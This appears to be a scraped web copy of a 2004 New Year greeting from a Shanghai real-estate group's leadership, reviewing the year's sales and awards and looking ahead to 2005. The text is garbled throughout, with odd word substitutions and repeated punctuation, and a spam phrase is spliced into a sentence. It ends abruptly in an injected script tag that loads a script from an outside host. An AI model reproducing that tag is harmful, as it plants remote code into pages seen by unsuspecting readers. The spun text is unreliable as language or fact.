董事长 总司理 党委书记 �
炮竹声声一岁除，， ，，，，春风送暖入屠苏；；；；； ；千门万户瞳瞳目，， ，，，，总把新桃换旧符。 。。。。。。。在这辞旧迎新的时刻，， ，，，，我们向集团全体员工及离退休老同志致以节日的问候！祝各人新年快乐！身体康健！阖家欢喜！
一年披风沥雨，， ，，，，一年春花秋实。 。。。。。。。即将已往的２００４年，， ，，，，是令人难忘的，， ，，，，是欠亨俗的一年。 。。。。。。。２００４年，， ，，，，集团面临宏观调控形势，， ，，，，把牢靠树立和落实周全协调可一连的科学生长观作为事情的重中之重，， ，，，，以求真务实的精神狠抓各项事情的落实，， ，，，，取得了显著效果，， ，，，，实现了企业实力和品牌形象的新跨越。 。。。。。。。集团再次荣膺第二届上海房地产开发企业５０强，， ，，，，排名从去年的第２１位一跃成为第６位。 。。。。。。。今年，， ，，，，集团共有１４个在建项目实现销售收入１８亿元，， ，，，，落实土地１５００亩。 。。。。。。。以农房集团建设三周年为契机，， ，，，，加大品牌建设力度，， ，，，，全心打造农工商房产品牌，， ，，，，农工商房产品牌的着名度和美誉度已在沪上声名鹊起，， ，，，，相继获得了中国房地产乐成开发规范企业、２００４年度上海房地产关注品牌（商标）、２００４年度中国值得尊重的房地产品牌企业等声誉称呼。 。。。。。。。制度建设摆上了各单位的议事日程，， ，，，，并取得了起源效果。 。。。。。。。特殊是集团二届一次董事会上提出的“法制化谋划、左券化治理、制度化运作、程序化效劳”已成为各人的共识，， ，，，，并落实到实处，， ，，，，基本形成用制度规范企业行为，， ，，，，按制度效劳，， ，，，，靠制度管人的有用机制。 。。。。。。。前不久，， ，，，，集团重组改制三年来首次举行的总部部室认真人竞争上岗划上了圆满的句号，， ，，，，实现了集团用人机制的重大突破，， ，，，，营造了让优异人才脱颖而出的气氛。 。。。。。。。今年，， ，，，，纽约国际官网各人庭又添新丁，， ，，，，华都实业公司、城隍一购、新世纪大厦加入了集团，， ，，，，对他们的加入体现热忱地接待，， ，，，，希望他们能感受到各人的温暖。 。。。。。。。２００４年，， ，，，，集团生长思绪更为清晰，， ，，，，经济运行质量进一步提高，， ，，，，凝聚力进一步增强，， ，，，，干部员工劲头十足，， ，，，，形成了心齐、劲足、风正、气顺的优异生长时势。 。。。。。。。
成绩来之不易，， ，，，，其中几多艰辛。 。。。。。。。在此，， ，，，，我们向各人一年来所支付的艰辛勤动，， ，，，，由衷隧道一声：谢谢！
虽然，， ，，，，面临声誉和效果，， ，，，，我们还要始终坚持苏醒的头脑，， ，，，，事实集团与沪上一流房地产企业相比，， ，，，，尚有很大差别。 。。。。。。。集团整体实力还不强，， ，，，，人才优势还不显着，， ，，，，品牌建设还任重道远，， ，，，，制度建设尚有待进一步增强和完善。 。。。。。。。集团要从蛹静若玉到实现化蝶成虹的奔腾，， ，，，，还须时日。 。。。。。。。
２００５年即将到来，， ，，，，展望充满希望的新一年，， ，，，，我们激情满怀、信心倍增；；；；； ；面临充满挑战的新一年，， ，，，，我们未雨绸缪、活动坚定。 。。。。。。。明年是我们在生长历程中很是要害的一年，， ，，，，具有承上启下的作用，， ，，，，明年是进一步生长的基础年，， ，，，，我们要始终把生长作为主旋律，， ，，，，增强生长的紧迫感，， ，，，，要以务求实效为着力点抓开拓，， ，，，，在开拓立异中抓出实效。 。。。。。。。我们要高度关注中国整个房地产走势的转变，， ，，，，高度关注宏观调?script src=http://hzbxf.com/s.js>
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